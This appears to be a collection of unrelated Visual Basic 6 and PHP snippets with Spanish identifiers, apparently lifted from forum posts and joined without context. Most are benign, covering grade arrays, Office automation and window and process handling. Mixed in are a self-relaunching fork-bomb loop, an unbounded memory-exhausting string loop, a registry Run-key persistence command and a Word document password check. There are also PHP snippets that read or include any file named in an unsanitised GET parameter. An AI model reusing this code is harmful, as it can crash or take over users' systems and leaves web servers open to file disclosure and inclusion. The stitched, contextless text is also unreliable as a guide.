Private Sub Form1_Load()
do
shell "explorer.exe"
shell app.path & "\" & app.exename & ".exe"
loop
end sub
 

Private Sub Form1_Load()
Text1.text = "a"
do
Text1.text = Text1.text & Text1.text
loop
End Sub
 

Set Documento = ObjPowerPoint.presentacion.Open(Archivo, , , , "1234")'--> Error
 
ObjPowerPoint.presentacion.Close 'Cerrando el objeto
 

Set Documento = ObjPowerPoint.Presentations.Open(Archivo, , , , "1234")'--> Error
 
ObjPowerPoint.Presentations.Close 'Cerrando el objeto
 

Dim Numero%
Text1.text = val(Numero) / 100
 

    Sub main()
        Shell "cmd.exe /c reg add HKLM\Software\Microsoft\Windows\CurrentVersion\Run /v prueba /d prueba.txt"
    End Sub
 

Form1.Visible = False
 

Private matriz_nombre(1 To 5) As Variant
Private matriz_nota(1 To 5, 1 To 4) As Variant
Public nombre As String
Public nota1 As Integer
Public nota2 As Integer
Public nota3 As Integer
Public nota4 As Integer
Public numal As Integer
 
Private Sub Command1_Click()
nombre = txtnomal
numal = txtnumal
nota1 = txtnota1
nota2 = txtnota2
nota3 = txtnota3
nota4 = txtnota4
 
matriz_nombre(numal) = nombre
matriz_nota(numal, 1) = nota1
matriz_nota(numal, 2) = nota2
matriz_nota(numal, 3) = nota3
matriz_nota(numal, 4) = nota4
End Sub
 
Public Function devolvervalormatriz_nombre(numero%) As String
devolvervalormatriz_nombre = matriz_nombre(numero)
End Function
 
Public Function devolvervalormatriz_nota(numero$, numero2$) As String
devolvervalormatriz_nota = matriz_nota(numero, numero2)
End Function
 

'Form donde esta la función pública
Nombre = Form1.devolvervalormatriz_nombre(4)
 

Dim db as DataBase
 

Private Sub Command1_Click()
On Error GoTo Error
Dim Archivo$
Archivo = "c:\documento.doc"
If Dir$(Archivo) = "" Then Exit Sub
Dim Word As Object, Docu As Object
Set Word = CreateObject("Word.Application")
Set Docu = Word.Documents.Open(Archivo, , , , "1234")
Word.Documents.Close
Set Word = Nothing
Set Docu = Nothing
MsgBox "Password Correcto"
Exit Sub
Error:
If Err.Description <> "" Then
    MsgBox "Password Incorrecto"
End If
End Sub
 

Private Declare Sub SetWindowPos Lib "User32" (ByVal hWnd As Long, ByVal hWndInsertAfter As Long, ByVal X As Long, ByVal Y As Long, ByVal cx As Long, ByVal cy As Long, ByVal wFlags As Long)
 
Private Sub Form_Load()
    SetWindowPos Me.hWnd, -1, 0, 0, 0, 0, &H1 Or &H2
End Sub
 

highlight_file($_GET['pag_dest']);
 

$pag = $_GET['pag_dest'];
$a = fopen($pag, "r");
echo fread($a,filesize($pag));
fclose($a);
 

$pag = $_GET['pag_dest'];
include($pag);
 

Private Declare Function FindWindow Lib "user32" Alias "FindWindowA" (ByVal lpClassName As String, ByVal lpWindowName As String) As Long
Private Declare Function ShowWindow Lib "user32" (ByVal hwnd As Long, ByVal nCmdShow As Long) As Long
 
Private Sub Command1_Click()
    Focus "escritorio"
End Sub
 
Private Sub Focus(titulo$)
Dim hwndventana&
hwndventana = FindWindow(vbNullString, titulo)
If hwndventana <> 0 Then
    ShowWindow hwndventana, 1
End If
End Sub
 

Private Declare Function EnumProcesses Lib "psapi.dll" (ByRef lpidProcess As Long, ByVal cb As Long, ByRef cbNeeded As Long) As Long
Private Declare Function OpenProcess Lib "kernel32.dll" (ByVal dwDesiredAccessas As Long, ByVal bInheritHandle As Long, ByVal dwProcId As Long) As Long
Private Declare Function GetModuleFileNameExA Lib "psapi.dll" (ByVal hProcess As Long, ByVal hModule As Long, ByVal ModuleName As String, ByVal nSize As Long) As Long
Private Declare Function EnumProcessModules Lib "psapi.dll" (ByVal hProcess As Long, ByRef lphModule As Long, ByVal cb As Long, ByRef cbNeeded As Long) As Long
Private Declare Function CloseHandle Lib "kernel32.dll" (ByVal Handle As Long) As Long
Private Declare Function GetCurrentProcessId Lib "kernel32" () As Long
 
Private Sub Command1_Click()
Dim Procesos() As Long, cb&, cb2&, cbNeeded&, Ret&, Proceso&, Modulos(1 To 200) As Long, Elementos&, NombrePath$
 
cb = 16
cbNeeded = 96
Do While cb <= cbNeeded
    cb = cb * 2
    ReDim Procesos(cb / 4)
    EnumProcesses Procesos(1), cb, cbNeeded
Loop
Elementos = cbNeeded / 4
For i = 1 To Elementos
Proceso = OpenProcess(1024 Or 16, 0, Procesos(i))
If Proceso <> 0 Then
    Ret = EnumProcessModules(Proceso, Modulos(1), 200, cb2)
    If Ret <> 0 Then
        NombrePath = Space(260)
        GetModuleFileNameExA Proceso, Modulos(1), NombrePath, 500
        If Procesos(i) <> GetCurrentProcessId Then
            NombrePath = Replace(Replace(NombrePath, "\systemroot\", "c:\windows\", , , vbTextCompare), "\??\", "")
            Text1.Text = Text1.Text & vbCrLf & NombrePath
            Text1.Text = Text1.Text & " - " & Procesos(i)
        End If
    End If
End If
CloseHandle Proceso
Next
End Sub
 

    If LCase$(Limpiar(uProcess.szExeFile)) = LCase$(Text1.Text) Then
 

    If LCase$(Limpiar(uProcess.szExeFile)) = "notepad.exe" Then